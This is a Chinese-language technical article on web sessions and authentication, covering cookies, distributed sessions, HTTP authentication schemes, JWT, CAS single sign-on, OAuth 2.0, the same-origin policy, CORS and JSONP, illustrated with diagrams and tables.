Web 会话与身份认证全景

HTTP 协议是无状态的(RFC 7230 §2.3)。每一次请求对服务器而言都是全新的,服务器不会记住上一次请求来自谁。这个设计简化了协议本身,却把"如何记住用户"的问题留给了应用层。

围绕这个核心问题,衍生出一条完整的技术问题链:

1
记住用户 → 安全地记住 → 跨系统记住 → 授权第三方 → 凭证选型 → 浏览器隔离 → 攻击与防护

本文沿着这条问题链,从会话管理到身份认证,从安全边界到攻防实战,构建一幅完整的技术全景图。

全景问题链

graph TD
    A["HTTP 无状态<br/>RFC 7230"] -->|"问题:如何记住用户?"| B["会话管理<br/>Cookie + Session"]
    B -->|"问题:单机 Session 如何扩展?"| C["分布式 Session<br/>复制 / 粘性 / 集中存储"]
    C -->|"问题:服务端能否不存状态?"| D["JWT<br/>签名防篡改<br/>自包含无状态"]
    B -->|"问题:HTTP 层如何传递凭证?"| E["HTTP 认证<br/>Basic → Digest → Bearer"]
    D -->|"问题:如何跨系统免登录?"| F["SSO 单点登录<br/>CAS 协议"]
    F -->|"问题:如何安全授权第三方?"| G["OAuth 2.0<br/>授权码模式"]
    B -->|"问题:浏览器如何隔离不同站点?"| H["同源策略<br/>CORS / JSONP"]
    H -->|"问题:攻击者如何突破隔离?"| I["XSS 偷内容<br/>CSRF 借身份<br/>SSRF 借网络"]
    I -->|"问题:如何从浏览器层面兜底?"| J["CSP<br/>内容安全策略"]
    G -->|"问题:后端 API 如何选型凭证?"| K["凭证分类学<br/>API Key / HMAC / mTLS"]

    style A fill:#f9f9f9,stroke:#333
    style B fill:#e6f3ff,stroke:#333
    style C fill:#e6f3ff,stroke:#333
    style D fill:#e6f3ff,stroke:#333
    style E fill:#fff3e6,stroke:#333
    style F fill:#fff3e6,stroke:#333
    style G fill:#fff3e6,stroke:#333
    style H fill:#e6ffe6,stroke:#333
    style I fill:#ffe6e6,stroke:#333
    style J fill:#ffe6e6,stroke:#333
    style K fill:#f0e6ff,stroke:#333

模式总览

问题 模式 口诀 覆盖章节
HTTP 无状态,如何记住用户? 载体 + 服务端存储 Cookie 传 ID,Session 存数据 Part 1
Cookie 如何安全传输? 六大属性三开关 域路径定范围,过期定寿命,三开关定安全 Part 1
单机 Session 如何扩展? 集中存储 + 无状态令牌 存 Redis 或签 JWT Part 1
HTTP 层如何传递凭证? 认证头 + 质询-响应 Basic 明文,Digest 哈希,Bearer 令牌 Part 2
服务端能否不存状态? 自包含令牌 签名防篡改,过期防滥用,签出去收不回来 Part 2
如何跨系统免登录? 中心化认证 + Ticket 没 Cookie 就跳转,有 Cookie 就放行,Ticket 用完即焚 Part 2
如何安全授权第三方? 授权码 + Token 分离 前端拿 Code,后端换 Token,Code 用完即焚 Part 2
浏览器如何隔离不同站点? 同源策略 + 白名单 协议域名端口三元组 Part 3
攻击者如何突破隔离? 注入 / 借身份 / 借网络 XSS 偷,CSRF 借,SSRF 穿 Part 4
如何从浏览器层面兜底? 资源加载白名单 脚本管 XSS,frame 管劫持,connect 管外泄 Part 4
后端 API 如何选型凭证? 分类学 + 决策树 安全 = f(被盗概率, 损失窗口, 吊销速度) Part 5
API 网关如何分层鉴权? 三层递进 有没有身份 → 有没有权限 → 是否强认证 Part 5
HMAC 和 OAuth 如何协作? 双层叠加 HMAC 管应用身份,OAuth 管用户身份,网关按序验证 Part 5
凭证设计的常见陷阱? 失败模式清单 九成是混淆和环境差异,不是安全设计 Part 5

Part 1:会话管理——如何记住用户?

核心问题:HTTP 无状态,服务器如何在多次请求间识别同一个用户?

会话管理基础

三种会话 ID 载体

HTTP 协议本身不维护状态,因此需要在应用层引入"会话"(Session)的概念。会话的本质是:客户端携带一个标识符(Session ID),服务端根据这个标识符查找对应的用户状态

Session ID 的传递有三种载体:

载体 机制 优点 缺点
Cookie 浏览器自动在请求头中携带 透明、自动、标准化 受同源策略限制,可被禁用
URL 重写 将 Session ID 附加到 URL 参数中 不依赖 Cookie URL 暴露 Session ID,易泄露
隐藏表单字段 在 HTML 表单中嵌入隐藏的 Session ID 不依赖 Cookie 仅适用于表单提交场景

记忆锚点:Cookie 传 ID,Session 存数据,URL 和表单是备选。

sequenceDiagram
    participant B as 浏览器
    participant S as 服务器

    B->>S: 首次请求(无 Cookie)
    S->>S: 创建 Session 对象<br/>生成 Session ID(如 UUID)<br/>存入内存/Redis
    S-->>B: 响应 + Set-Cookie: JSESSIONID=abc123; Path=/; HttpOnly
    Note over B: 浏览器存储 Cookie

    B->>S: 后续请求<br/>Cookie: JSESSIONID=abc123
    S->>S: 根据 abc123 查找 Session<br/>恢复用户状态
    S-->>B: 响应(已认证)

    Note over B,S: Session 过期或用户登出
    B->>S: 请求(携带过期 Session ID)
    S->>S: 查找 Session 失败
    S-->>B: 401 Unauthorized 或重定向到登录页

Tomcat Session 实现

Tomcat 的 Session 管理体现了典型的容器级实现。其四层结构为:

1
Server → Service → Engine → Host → Context(应用)→ Manager → Session

Tomcat 四层结构

每个 Web 应用(Context)拥有独立的 Manager,负责 Session 的创建、查找和销毁。默认的 StandardManager 将 Session 存储在内存中,并支持持久化到文件系统。

StandardManager 类图

Tomcat Session 的结构

核心问题:Cookie 作为最主要的会话 ID 载体,如何控制其作用范围和安全性?

Cookie 由 RFC 6265(HTTP State Management Mechanism)定义,是浏览器端存储少量数据的标准机制。每个 Cookie 由六大属性控制其行为。

六大属性

属性 作用 默认值 示例
Domain 指定 Cookie 的作用域名 当前域名(不含子域) Domain=.example.com(含子域)
Path 指定 Cookie 的作用路径 当前路径 Path=/api
Expires 绝对过期时间 不设置 = 会话 Cookie Expires=Thu, 01 Jan 2026 00:00:00 GMT
Max-Age 相对过期时间(秒) 不设置 = 会话 Cookie Max-Age=3600(1 小时)
Secure 仅通过 HTTPS 传输 不设置 = HTTP/HTTPS 均可 Secure
HttpOnly 禁止 JavaScript 访问 不设置 = JS 可访问 HttpOnly

会话 Cookie(Session Cookie)指未设置 ExpiresMax-Age 的 Cookie,浏览器关闭即销毁。

Expires vs Max-Age 优先级:当两者同时存在时,Max-Age 优先(RFC 6265 §5.3)。Max-Age=0 表示立即删除 Cookie。

Domain 匹配规则

Domain 属性控制 Cookie 的作用域名,其匹配规则有细微差异:

设置方式 匹配范围 示例
不设置 Domain 仅当前域名(精确匹配,不含子域) www.example.com
Domain=example.com 当前域名 + 所有子域 example.comwww.example.comapi.example.com
Domain=.example.com 同上(前导点被忽略,RFC 6265) 同上

安全注意:设置 Domain=example.com 意味着所有子域都能读取该 Cookie。如果子域中存在不受信任的应用,可能导致 Cookie 泄露。

Path 匹配规则

Path 属性采用前缀匹配

设置 匹配的路径 不匹配的路径
Path=/ 所有路径
Path=/api /api/api/users/api/v2/data /app/application
Path=/api/ /api//api/users /api(无尾部斜杠)

记忆锚点:域路径定范围,过期定寿命,Secure 管传输,HttpOnly 管脚本。Max-Age 优先于 Expires。

1
2
3
4
5
6
7
8
Set-Cookie: session_id=abc123;
Domain=.example.com;
Path=/;
Max-Age=3600;
Expires=Thu, 01 Jan 2026 00:00:00 GMT;
Secure;
HttpOnly;
SameSite=Lax

SameSite 属性

SameSite 是 Cookie 的第七个属性(RFC 6265bis),用于防御 CSRF 攻击。它控制 Cookie 在跨站请求中是否被发送:

行为 适用场景
Strict 跨站请求完全不发送 Cookie 银行、支付等高安全场景
Lax(默认) 顶级导航的 GET 请求发送,其他跨站请求不发送 大多数 Web 应用
None 跨站请求也发送(必须配合 Secure 需要跨站嵌入的第三方服务
graph TD
    A["用户在 evil.com<br/>点击链接到 bank.com"] --> B{"SameSite 值?"}
    B -->|"Strict"| C["不发送 Cookie<br/>用户需重新登录"]
    B -->|"Lax"| D["GET 导航发送 Cookie<br/>POST/iframe 不发送"]
    B -->|"None + Secure"| E["发送 Cookie<br/>需 HTTPS"]

    style C fill:#ffe6e6
    style D fill:#fff3e6
    style E fill:#e6ffe6

记忆锚点:Strict 最严跨站全禁,Lax 折中只放 GET 导航,None 全放但必须 HTTPS。

第三方 Cookie 指由非当前页面域名设置的 Cookie。典型场景是广告追踪:

sequenceDiagram
    participant U as 用户
    participant A as site-a.com
    participant T as tracker.com
    participant B as site-b.com

    U->>A: 访问 site-a.com
    A-->>U: 页面包含 <img src="tracker.com/pixel.gif">
    U->>T: 请求 tracker.com/pixel.gif
    T-->>U: Set-Cookie: uid=12345; Domain=tracker.com

    U->>B: 访问 site-b.com
    B-->>U: 页面也包含 <img src="tracker.com/pixel.gif">
    U->>T: 请求 tracker.com/pixel.gif<br/>Cookie: uid=12345
    T->>T: 关联用户在 site-a 和 site-b 的行为

主流浏览器正在逐步限制第三方 Cookie:

  • Safari:ITP(Intelligent Tracking Prevention)已默认阻止第三方 Cookie
  • Firefox:ETP(Enhanced Tracking Protection)默认阻止已知追踪器的第三方 Cookie
  • Chrome:计划通过 Privacy Sandbox 替代第三方 Cookie

分布式 Session 方案

核心问题:单机 Session 存储在内存中,当应用部署多个实例时,用户请求可能被路由到不同实例,导致 Session 丢失。如何解决?

四种方案对比

方案 原理 优点 缺点 适用场景
Session 复制 各节点间同步 Session 数据 实现简单 网络开销大,节点越多越慢 小规模集群(2-4 节点)
粘性 Session 负载均衡器将同一用户路由到同一节点 无需改造应用 节点宕机则 Session 丢失 对可用性要求不高的场景
集中存储 Session 存入 Redis/数据库等共享存储 高可用、可扩展 增加外部依赖和网络延迟 生产环境首选
客户端存储(JWT) 将状态编码到 Token 中,客户端持有 服务端完全无状态 Token 体积大,无法主动撤销 微服务、API 场景

Session 复制的网络风暴

graph TD
    subgraph "3 节点集群"
        N1["节点 1<br/>Session A 更新"]
        N2["节点 2"]
        N3["节点 3"]
    end

    N1 -->|"同步 Session A"| N2
    N1 -->|"同步 Session A"| N3
    N2 -->|"确认"| N1
    N3 -->|"确认"| N1

    subgraph "N 节点集群"
        M["每次更新<br/>需同步 N-1 个节点<br/>网络消息 = O(N^2)"]
    end

    style M fill:#ffe6e6

粘性 Session 的故障场景

sequenceDiagram
    participant U as 用户
    participant LB as 负载均衡器
    participant N1 as 节点 1
    participant N2 as 节点 2

    U->>LB: 请求 1
    LB->>N1: 路由到节点 1(基于 IP Hash)
    N1->>N1: 创建 Session
    N1-->>U: 响应 + Session Cookie

    U->>LB: 请求 2
    LB->>N1: 继续路由到节点 1
    N1-->>U: 正常响应

    Note over N1: 节点 1 宕机

    U->>LB: 请求 3
    LB->>N2: 路由到节点 2(节点 1 不可用)
    N2->>N2: 查找 Session 失败
    N2-->>U: 401 需重新登录

集中存储方案(生产环境首选)

sequenceDiagram
    participant U as 用户
    participant LB as 负载均衡器
    participant N1 as 节点 1
    participant N2 as 节点 2
    participant R as Redis 集群

    U->>LB: 请求 1
    LB->>N1: 路由到节点 1
    N1->>R: 创建 Session(SET session:abc123 {...})
    R-->>N1: OK
    N1-->>U: 响应 + Session Cookie

    U->>LB: 请求 2
    LB->>N2: 路由到节点 2(不同节点)
    N2->>R: 查找 Session(GET session:abc123)
    R-->>N2: 返回 Session 数据
    N2-->>U: 正常响应(用户无感知)

记忆锚点:复制扛不住广播风暴,粘性扛不住节点宕机,Redis 集中存储是生产首选。


Part 2:身份认证——如何证明身份?

核心问题:用户声称自己是某人,服务器如何验证这个声明?从 HTTP 协议层的认证头,到应用层的 JWT、SSO、OAuth 2.0,认证技术不断演进。

HTTP 认证技术演进

核心问题:如何在 HTTP 请求中安全地传递身份凭证?

HTTP 认证机制定义了客户端和服务器之间的标准质询-响应(Challenge-Response)流程。从最简单的 Basic 认证到现代的 Bearer Token,每一种方案都解决了前一种方案的安全缺陷。

三种认证方案概览

graph LR
    A["Basic 认证<br/>RFC 7617 (2015)"] -->|"问题:明文传密码"| B["Digest 认证<br/>RFC 2617 (1999)"]
    B -->|"问题:MD5 已不安全"| C["Bearer Token<br/>RFC 6750 (2012)"]

    A1["Base64 编码<br/>等于明文"] -.-> A
    B1["MD5 哈希 + Nonce<br/>不传明文但算法过时"] -.-> B
    C1["令牌持有者模式<br/>配合 OAuth 2.0"] -.-> C

    style A fill:#ffe6e6
    style B fill:#fff3e6
    style C fill:#e6ffe6

Basic 认证

引入 RFC:RFC 2617 (1999),更新于 RFC 7617 (2015)

Basic 认证将用户名和密码用 Base64 编码后放入 Authorization 头。Base64 不是加密,只是编码,任何人都可以解码。

sequenceDiagram
    participant C as 客户端
    participant S as 服务器

    C->>S: GET /protected
    S-->>C: 401 Unauthorized<br/>WWW-Authenticate: Basic realm="Secure Area"
    C->>C: 用户输入用户名密码
    C->>C: Base64("user:pass") = "dXNlcjpwYXNz"
    C->>S: GET /protected<br/>Authorization: Basic dXNlcjpwYXNz
    S->>S: 解码 Base64 → "user:pass"<br/>验证用户名密码
    S-->>C: 200 OK + 资源

安全问题

  • 明文传输:Base64 解码即可得到密码
  • 无法防重放:同一请求可被无限次重放
  • 无过期机制:认证信息长期有效

记忆锚点:Base64 编码不是加密,等于明文传密码。

Digest 认证

引入 RFC:RFC 2069 (1997),更新于 RFC 2617 (1999)

Digest 认证通过 MD5 哈希和一次性随机数(Nonce)解决 Basic 认证的明文传输问题。客户端传输的是包含密码、Nonce、URI 等多因素的复合哈希值,而非密码本身。

sequenceDiagram
    participant C as 客户端
    participant S as 服务器

    C->>S: GET /protected
    S->>S: 生成 Nonce(一次性随机数)
    S-->>C: 401 Unauthorized<br/>WWW-Authenticate: Digest<br/>realm="Secure Area",<br/>nonce="dcd98b...",<br/>qop="auth"

    C->>C: 计算复合哈希:<br/>HA1 = MD5(user:realm:pass)<br/>HA2 = MD5(GET:/protected)<br/>Response = MD5(HA1:nonce:nc:cnonce:qop:HA2)
    C->>S: Authorization: Digest<br/>username="user",<br/>nonce="dcd98b...",<br/>response="6629fa..."

    S->>S: 用相同算法计算 Response<br/>与客户端提交的 Response 比对
    S-->>C: 200 OK + 资源

关键参数

参数 作用
nonce 服务器生成的一次性随机数,防止重放攻击
cnonce 客户端生成的随机数,增强安全性
nc Nonce 计数器,防止同一 Nonce 被重用
qop 保护质量(auth / auth-int)

局限性:MD5 算法已被证明存在碰撞漏洞,现代应用不再推荐使用 Digest 认证。

记忆锚点:Digest 用复合哈希不传明文,Nonce 防重放,但 MD5 已过时。

Bearer Token 认证

引入 RFC:RFC 6750 (2012) - OAuth 2.0 Authorization Framework: Bearer Token Usage

Bearer Token 采用"持有者即拥有者"的模式——拥有令牌即可访问资源,无需额外的身份证明。这是 OAuth 2.0 框架的核心认证方式。

sequenceDiagram
    participant U as 用户
    participant C as 客户端
    participant A as 授权服务器
    participant R as 资源服务器

    U->>C: 授权请求
    C->>A: 获取 Access Token
    A-->>C: 返回 Bearer Token

    C->>R: GET /api/resource<br/>Authorization: Bearer eyJhbG...
    R->>R: 验证 Token 签名和有效期
    R-->>C: 200 OK + 资源

Bearer Token 可以是不透明字符串(服务器端查表验证)或 JWT(自包含验证)。

记忆锚点:Bearer 持有即拥有,JWT 自包含无状态,但需防泄露。

三种方案安全性对比

维度 Basic Digest Bearer
密码传输 明文(Base64) 复合哈希值 不传输密码
防重放 不支持 支持(Nonce) 依赖 Token 有效期
防中间人 不支持 支持 依赖 HTTPS
防篡改 不支持 支持 支持(JWT 签名)
算法强度 MD5(已过时) 可选强算法(RS256 等)
适用场景 内网测试 遗留系统 现代 API

历史演进时间线

graph LR
    A["1997<br/>RFC 2069<br/>Digest 初版"] --> B["1999<br/>RFC 2617<br/>Basic + Digest"]
    B --> C["2012<br/>RFC 6750<br/>Bearer Token"]
    C --> D["2015<br/>RFC 7617<br/>Basic 更新"]

    style A fill:#ffe6e6
    style B fill:#fff3e6
    style C fill:#e6ffe6
    style D fill:#e6e6ff

实践建议

何时使用 Basic 认证
  • 内网环境 + HTTPS
  • 快速原型开发
  • 简单的 API 测试工具
  • 不适用:互联网公开 API、涉及敏感数据的场景
何时使用 Digest 认证
  • 遗留系统维护
  • 无法使用 HTTPS 的特殊环境
  • 不适用:新项目开发(MD5 已不安全)、现代浏览器环境
何时使用 Bearer Token
  • RESTful API
  • 微服务架构
  • 移动 App 后端
  • 第三方授权(OAuth 2.0)
  • 注意:传统网页应用中 Cookie + Session 更简单
安全最佳实践
  1. 始终使用 HTTPS:所有认证方案都应配合 HTTPS 使用
  2. 设置合理有效期:Bearer Token 有效期不宜过长(建议 15-30 分钟)
  3. 实现 Token 刷新:使用 Refresh Token 实现长期访问
  4. 添加 IP 限制:绑定 Token 和客户端 IP 地址
  5. 监控异常访问:记录和告警异常的 Token 使用行为

记忆锚点:HTTPS 是基础,Token 要短命,刷新机制不可少。

JWT 深入解析

核心问题:传统 Session 需要服务端存储状态,在微服务架构下成为瓶颈。能否将状态编码到令牌中,让服务端完全无状态?

JWT(JSON Web Token,RFC 7519)是一种自包含的令牌格式,将用户身份和权限信息编码到 Token 中,通过数字签名保证完整性。

JWT 结构

JWT 由三部分组成,用 . 分隔:Header.Payload.Signature

1
2
3
4
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.    ← Header(Base64URL 编码)
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6Ik ← Payload(Base64URL 编码)
pvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c ← Signature
部分 内容 示例
Header 算法和类型声明 {"alg":"HS256","typ":"JWT"}
Payload 声明(Claims) {"sub":"1234567890","name":"John Doe","exp":1516239022}
Signature 签名 HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

标准声明字段(RFC 7519 §4.1)

字段 全称 作用
iss Issuer 签发者
sub Subject 主题(通常是用户 ID)
aud Audience 接收方
exp Expiration Time 过期时间
nbf Not Before 生效时间
iat Issued At 签发时间
jti JWT ID 唯一标识符(可用于黑名单撤销)

签名算法

算法 类型 密钥 适用场景
HS256 对称加密 共享密钥 单体应用(签发和验证方相同)
RS256 非对称加密 私钥签名 / 公钥验证 微服务(签发方和验证方分离)
ES256 椭圆曲线 私钥签名 / 公钥验证 高安全要求场景

JWT 的撤销难题

JWT 一旦签发就无法主动撤销——这是"自包含"设计的代价。常见的应对方案:

方案 原理 代价
短有效期 Access Token 有效期设为 15-30 分钟 需要频繁刷新
黑名单 将需要撤销的 jti 存入 Redis 引入服务端状态,部分抵消无状态优势
刷新令牌 用长期有效的 Refresh Token 换取短期 Access Token 增加复杂度

JWT 刷新流程

sequenceDiagram
    participant C as 客户端
    participant A as 授权服务器
    participant R as 资源服务器

    Note over C,A: 初始登录
    C->>A: 用户名 + 密码
    A-->>C: Access Token(15 分钟)<br/>+ Refresh Token(7 天)

    Note over C,R: 正常访问
    C->>R: Authorization: Bearer {access_token}
    R-->>C: 200 OK

    Note over C,R: Access Token 过期
    C->>R: Authorization: Bearer {expired_access_token}
    R-->>C: 401 Token Expired

    Note over C,A: 刷新 Token
    C->>A: POST /token/refresh<br/>Refresh Token
    A->>A: 验证 Refresh Token 有效性
    A-->>C: 新 Access Token(15 分钟)<br/>+ 新 Refresh Token(7 天)

    Note over C,R: 继续访问
    C->>R: Authorization: Bearer {new_access_token}
    R-->>C: 200 OK

Session vs JWT 决策

维度 Session JWT
状态存储 服务端(内存/Redis) 客户端(Token 自包含)
扩展性 需要共享存储 天然支持水平扩展
撤销能力 直接删除 Session 需要黑名单机制
传输开销 Cookie 仅含 Session ID(几十字节) JWT 包含完整声明(几百字节到几 KB)
适用场景 传统 Web 应用 微服务、API、移动端

记忆锚点:JWT 签名防篡改,过期防滥用,但签出去就收不回来。

SSO 单点登录

核心问题:企业内部有多个系统(OA、邮箱、CRM),用户是否需要在每个系统都登录一次?

SSO(Single Sign-On)的目标是:一次登录,处处通行。用户在一个系统登录后,访问其他系统时无需再次输入凭证。

CAS 协议工作流程

CAS(Central Authentication Service)是最经典的 SSO 协议。其核心思想是引入一个中心化的认证服务器(CAS Server),所有业务系统(CAS Client)将认证请求委托给它。

sequenceDiagram
    participant U as 用户浏览器
    participant A as 应用 A
    participant CAS as CAS 认证中心
    participant B as 应用 B

    Note over U,CAS: 首次访问应用 A(未登录)
    U->>A: 访问 app-a.com/dashboard
    A->>A: 检查 Session → 无
    A-->>U: 302 重定向到 CAS<br/>cas.com/login?service=app-a.com/callback

    U->>CAS: 访问 CAS 登录页
    CAS->>CAS: 检查 CAS Cookie(TGC)→ 无
    CAS-->>U: 返回登录表单

    U->>CAS: 提交用户名 + 密码
    CAS->>CAS: 验证凭证<br/>创建 TGT(Ticket Granting Ticket)<br/>生成 ST(Service Ticket)
    CAS-->>U: 302 重定向到 app-a.com/callback?ticket=ST-12345<br/>Set-Cookie: TGC=TGT-xxx(CAS 域名下)

    U->>A: 访问 app-a.com/callback?ticket=ST-12345
    A->>CAS: 后端验证 ST-12345(服务端到服务端)
    CAS->>CAS: 验证 ST 有效性<br/>ST 用完即焚(一次性)
    CAS-->>A: 返回用户信息
    A->>A: 创建本地 Session
    A-->>U: 200 OK + Set-Cookie: JSESSIONID=...

    Note over U,CAS: 访问应用 B(已在 CAS 登录)
    U->>B: 访问 app-b.com/home
    B->>B: 检查 Session → 无
    B-->>U: 302 重定向到 CAS<br/>cas.com/login?service=app-b.com/callback

    U->>CAS: 访问 CAS(携带 TGC Cookie)
    CAS->>CAS: 验证 TGC → 有效<br/>生成新的 ST
    CAS-->>U: 302 重定向到 app-b.com/callback?ticket=ST-67890<br/>(无需再次登录)

    U->>B: 访问 app-b.com/callback?ticket=ST-67890
    B->>CAS: 后端验证 ST-67890
    CAS-->>B: 返回用户信息
    B->>B: 创建本地 Session
    B-->>U: 200 OK(免登录成功)

CAS 核心概念

概念 全称 作用 生命周期
TGT Ticket Granting Ticket CAS 服务端的登录凭证 长期有效(如 8 小时)
TGC Ticket Granting Cookie 浏览器端存储的 TGT 引用 随 TGT 过期
ST Service Ticket 一次性票据,用于业务系统验证 用完即焚(一次性)

SSO 单点登出

单点登出是 SSO 的常见 Corner Case:用户在一个系统登出后,所有系统都应该同步登出。

sequenceDiagram
    participant U as 用户浏览器
    participant A as 应用 A
    participant CAS as CAS 认证中心
    participant B as 应用 B

    U->>A: 点击"登出"
    A->>A: 销毁本地 Session
    A-->>U: 302 重定向到 CAS<br/>cas.com/logout

    U->>CAS: 访问 CAS 登出接口
    CAS->>CAS: 销毁 TGT<br/>清除 TGC Cookie
    CAS->>A: 回调通知:销毁 Session(后端到后端)
    CAS->>B: 回调通知:销毁 Session(后端到后端)
    A->>A: 销毁本地 Session
    B->>B: 销毁本地 Session
    CAS-->>U: 重定向到登录页

    Note over U,B: 用户再访问应用 B
    U->>B: 访问 app-b.com/home
    B->>B: 检查 Session → 已销毁
    B-->>U: 302 重定向到 CAS 登录页

Corner Case:如果应用 B 的回调通知失败(网络问题),用户在应用 B 的 Session 可能不会被及时销毁。解决方案:

  • 设置较短的 Session 有效期
  • 应用端定期向 CAS 校验 TGT 状态
  • 使用消息队列保证通知的可靠投递

跨域 SSO

当业务系统分布在不同域名下(如 a.company.comb.partner.com),Cookie 无法跨域共享。CAS 协议通过 HTTP 重定向 解决这个问题——TGC 只存在 CAS 域名下,各业务系统通过重定向到 CAS 来检查登录状态。

记忆锚点:没 Cookie 就跳转 CAS,有 TGC 就签发 ST,ST 用完即焚。

OAuth 2.0 授权框架

核心问题:用户想让第三方应用(如"用微信登录")访问自己在某平台的数据,但不想把密码告诉第三方。如何在不暴露密码的情况下安全授权?

OAuth 2.0(RFC 6749)是一个授权框架,解决的是授权问题而非认证问题。它定义了四种授权模式,其中授权码模式(Authorization Code)是最安全、最常用的。

OAuth2 架构

四个角色

角色 说明 示例
Resource Owner 资源拥有者(用户) 微信用户
Client 第三方应用 某电商 App
Authorization Server 授权服务器 微信开放平台
Resource Server 资源服务器 微信用户信息 API

授权码模式(Authorization Code)

授权码模式是最安全的模式,适用于有后端服务器的 Web 应用。核心设计:前端拿 Code,后端换 Token,Code 用完即焚

sequenceDiagram
    participant U as 用户
    participant C as 第三方应用(前端)
    participant CS as 第三方应用(后端)
    participant A as 授权服务器

    U->>C: 点击"用微信登录"
    C-->>U: 302 重定向到授权服务器<br/>authorize?response_type=code<br/>&client_id=xxx<br/>&redirect_uri=callback_url<br/>&scope=user_info<br/>&state=random_string

    U->>A: 访问授权页面
    A->>A: 验证用户身份(如已登录则跳过)
    A-->>U: 展示授权确认页<br/>"是否允许 xxx 访问您的用户信息?"

    U->>A: 用户点击"同意授权"
    A->>A: 生成授权码(Authorization Code)<br/>有效期短(通常 10 分钟)
    A-->>U: 302 重定向到 callback_url?code=AUTH_CODE&state=random_string

    U->>CS: 携带 code 访问 callback_url
    CS->>A: POST /token(后端到后端,不经过浏览器)<br/>grant_type=authorization_code<br/>&code=AUTH_CODE<br/>&client_id=xxx<br/>&client_secret=yyy<br/>&redirect_uri=callback_url
    A->>A: 验证 code(用完即焚)<br/>验证 client_secret
    A-->>CS: 返回 Access Token + Refresh Token

    CS->>CS: 存储 Token
    CS-->>U: 登录成功

安全设计要点

  • Authorization Code 一次性使用:Code 在换取 Token 后立即失效,防止重放
  • client_secret 后端传输:密钥不经过浏览器,防止泄露
  • state 参数:防止 CSRF 攻击,客户端生成随机字符串并验证回调中的 state 是否一致
  • PKCE 扩展(RFC 7636):为无法安全存储 client_secret 的公开客户端(如 SPA、移动 App)提供额外保护

其他授权模式

模式 适用场景 安全性 是否推荐
授权码模式 有后端的 Web 应用 最高 首选
隐式模式(Implicit) 纯前端 SPA(已过时) 低(Token 暴露在 URL 中) 不推荐,用 PKCE 替代
密码模式(Resource Owner Password) 高度信任的第一方应用 中(需要用户密码) 仅限第一方
客户端凭证模式(Client Credentials) 服务间调用(无用户参与) 适用于 M2M

OAuth 2.0 Token 刷新流程

sequenceDiagram
    participant C as 客户端
    participant A as 授权服务器
    participant R as 资源服务器

    C->>R: GET /api/data<br/>Authorization: Bearer {access_token}
    R-->>C: 401 Token Expired

    C->>A: POST /token<br/>grant_type=refresh_token<br/>&refresh_token=xxx<br/>&client_id=yyy
    A->>A: 验证 Refresh Token<br/>签发新 Access Token<br/>(可选)轮换 Refresh Token
    A-->>C: 新 Access Token + 新 Refresh Token

    C->>R: GET /api/data<br/>Authorization: Bearer {new_access_token}
    R-->>C: 200 OK + 数据

记忆锚点:前端拿 Code,后端换 Token,Code 用完即焚,state 防 CSRF。


Part 3:安全边界——浏览器如何隔离?

核心问题:浏览器同时打开多个网站,如何防止恶意网站读取其他网站的数据?

同源策略与跨域

同源策略(Same-Origin Policy)

同源策略是浏览器最基本的安全机制(由 Netscape Navigator 2.0 于 1995 年引入)。同源的定义是:协议 + 域名 + 端口 三者完全相同。

URL A URL B 是否同源 原因
https://a.com/page1 https://a.com/page2 同源 协议、域名、端口均相同
https://a.com http://a.com 不同源 协议不同(HTTPS vs HTTP)
https://a.com https://b.com 不同源 域名不同
https://a.com https://a.com:8080 不同源 端口不同(443 vs 8080)
https://a.com https://sub.a.com 不同源 域名不同(子域也算不同)

同源策略限制的行为:

  • DOM 访问:不同源的页面不能访问彼此的 DOM
  • Cookie/Storage:不同源的页面不能读取彼此的 Cookie 和 LocalStorage
  • AJAX 请求:不同源的 AJAX 请求会被浏览器拦截(响应被丢弃)

记忆锚点:协议域名端口三元组,一个不同就跨域。

CORS(Cross-Origin Resource Sharing)

CORS(RFC 6454 定义了 Origin 概念,W3C CORS 规范定义了跨域机制)是现代浏览器解决跨域问题的标准方案。服务器通过响应头声明允许哪些源访问资源。

简单请求 vs 预检请求
条件 简单请求 预检请求
方法 GET / HEAD / POST PUT / DELETE / PATCH 等
Content-Type text/plain, multipart/form-data, application/x-www-form-urlencoded application/json 等
自定义头 有(如 Authorization)
流程 直接发送,浏览器检查响应头 先发 OPTIONS 预检,通过后再发实际请求
预检请求流程
sequenceDiagram
    participant B as 浏览器(a.com)
    participant S as 服务器(api.b.com)

    Note over B,S: 预检请求(OPTIONS)
    B->>S: OPTIONS /api/data<br/>Origin: https://a.com<br/>Access-Control-Request-Method: PUT<br/>Access-Control-Request-Headers: Authorization, Content-Type

    S-->>B: 200 OK<br/>Access-Control-Allow-Origin: https://a.com<br/>Access-Control-Allow-Methods: GET, PUT, POST<br/>Access-Control-Allow-Headers: Authorization, Content-Type<br/>Access-Control-Max-Age: 86400

    Note over B,S: 实际请求
    B->>S: PUT /api/data<br/>Origin: https://a.com<br/>Authorization: Bearer xxx<br/>Content-Type: application/json

    S-->>B: 200 OK<br/>Access-Control-Allow-Origin: https://a.com
关键响应头
响应头 作用 示例
Access-Control-Allow-Origin 允许的源 https://a.com*
Access-Control-Allow-Methods 允许的 HTTP 方法 GET, POST, PUT
Access-Control-Allow-Headers 允许的请求头 Authorization, Content-Type
Access-Control-Allow-Credentials 是否允许携带 Cookie true
Access-Control-Max-Age 预检结果缓存时间(秒) 86400

安全注意:当 Access-Control-Allow-Credentials: true 时,Access-Control-Allow-Origin 不能设为 *,必须指定具体的源。

sequenceDiagram
    participant B as 浏览器(a.com)
    participant S as 服务器(api.b.com)

    B->>S: GET /api/user<br/>Origin: https://a.com<br/>Cookie: session_id=abc123
    Note over B: 前端需设置<br/>fetch(url, {credentials: 'include'})

    S-->>B: 200 OK<br/>Access-Control-Allow-Origin: https://a.com<br/>Access-Control-Allow-Credentials: true
    Note over S: 不能用 * 必须指定具体源

JSONP(历史方案)

JSONP 利用 <script> 标签不受同源策略限制的特性实现跨域数据获取。原理是服务器返回一段 JavaScript 函数调用,将数据作为参数传入。

1
2
3
4
5
6
7
8
9
10
11
// 前端定义回调函数
function handleData(data) {
console.log(data);
}

// 动态创建 script 标签
const script = document.createElement('script');
script.src = 'https://api.b.com/data?callback=handleData';
document.body.appendChild(script);

// 服务器返回:handleData({"name": "John", "age": 30})

局限性:仅支持 GET 请求,存在 XSS 风险(执行任意返回的 JavaScript),现代应用应使用 CORS 替代。

